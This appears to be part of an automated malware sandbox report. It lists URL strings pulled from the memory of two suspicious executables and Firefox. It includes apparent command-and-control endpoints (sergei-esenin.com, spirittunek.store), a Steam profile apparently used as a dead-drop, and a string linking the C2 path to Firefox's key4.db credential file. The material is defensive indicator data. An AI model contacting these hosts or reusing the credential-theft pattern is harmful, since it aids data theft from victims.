Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BBB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000001A.00000002.3213356534.000001EE30842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3089658099.000001EE30842000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3083659501.000001EE30842000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: 2ffb915ad7.exe, 0000000C.00000003.3186014931.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/
Source: 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/.of
Source: file.exe, 00000000.00000003.2151091945.0000000001199000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197927966.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/2
Source: file.exe, 00000000.00000003.2197927966.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/J
Source: 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/Vo
Source: 2ffb915ad7.exe, 0000000C.00000003.3022927593.0000000000D19000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3050988085.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186014931.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3052866404.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api
Source: file.exe, 00000000.00000003.2197927966.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api2a
Source: file.exe, 00000000.00000003.2049716081.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/api;
Source: 2ffb915ad7.exe, 0000000C.00000003.3185616243.0000000000D10000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3185765626.0000000000D26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiCh
Source: file.exe, 00000000.00000003.2049716081.000000000115F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiM
Source: file.exe, 00000000.00000003.2197927966.00000000011AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2132562867.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198228630.00000000011B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiNT
Source: file.exe, 00000000.00000003.2105870099.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106098894.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apiaNT
Source: file.exe, 00000000.00000003.2151091945.0000000001199000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2197927966.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apibaL
Source: 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3050988085.0000000000D3A000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3052866404.0000000000D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apid
Source: file.exe, 00000000.00000003.2107229824.00000000011B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2105870099.00000000011B1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2107094615.00000000011B3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2106098894.00000000011B3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apie
Source: file.exe, 00000000.00000003.2132562867.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2125907579.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120843555.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2119067310.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apig
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apih
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/apim
Source: file.exe, 00000000.00000003.2197927966.0000000001193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/b
Source: 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com/r
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apiMicrosoft
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apiaa-
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apihv.default-release/key4.dbPK
Source: 2ffb915ad7.exe, 0000000C.00000003.3186750696.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sergei-esenin.com:443/apitPK
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE301D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: firefox.exe, 0000001A.00000002.3179136668.000001EE2F2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062818743.000001EE30617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001A.00000002.3179136668.000001EE2F2F0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062818743.000001EE30617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001656000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store/api
Source: file.exe, 00000000.00000003.2049716081.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store/api_
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://spirittunek.store:443/apiJ
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE3016D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288872033.000001EE3667B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368BB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3184999337.000001EE2F799000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE3016D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3208617348.000001EE304C0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE30668000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#
Source: firefox.exe, 0000001A.00000003.3064653256.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3033766170.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3059568693.000001EE36992000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36992000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs#l
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3283280261.000001EE322A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062818743.000001EE30617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FFBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FF47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306C6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/QI%
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: file.exe, 00000000.00000003.2049716081.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/i
Source: 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2049841334.0000000001108000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001656000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/765611997243319003
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: file.exe, 00000000.00000003.2049716081.000000000115F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cb9e7f3651c38ac4
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BBB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
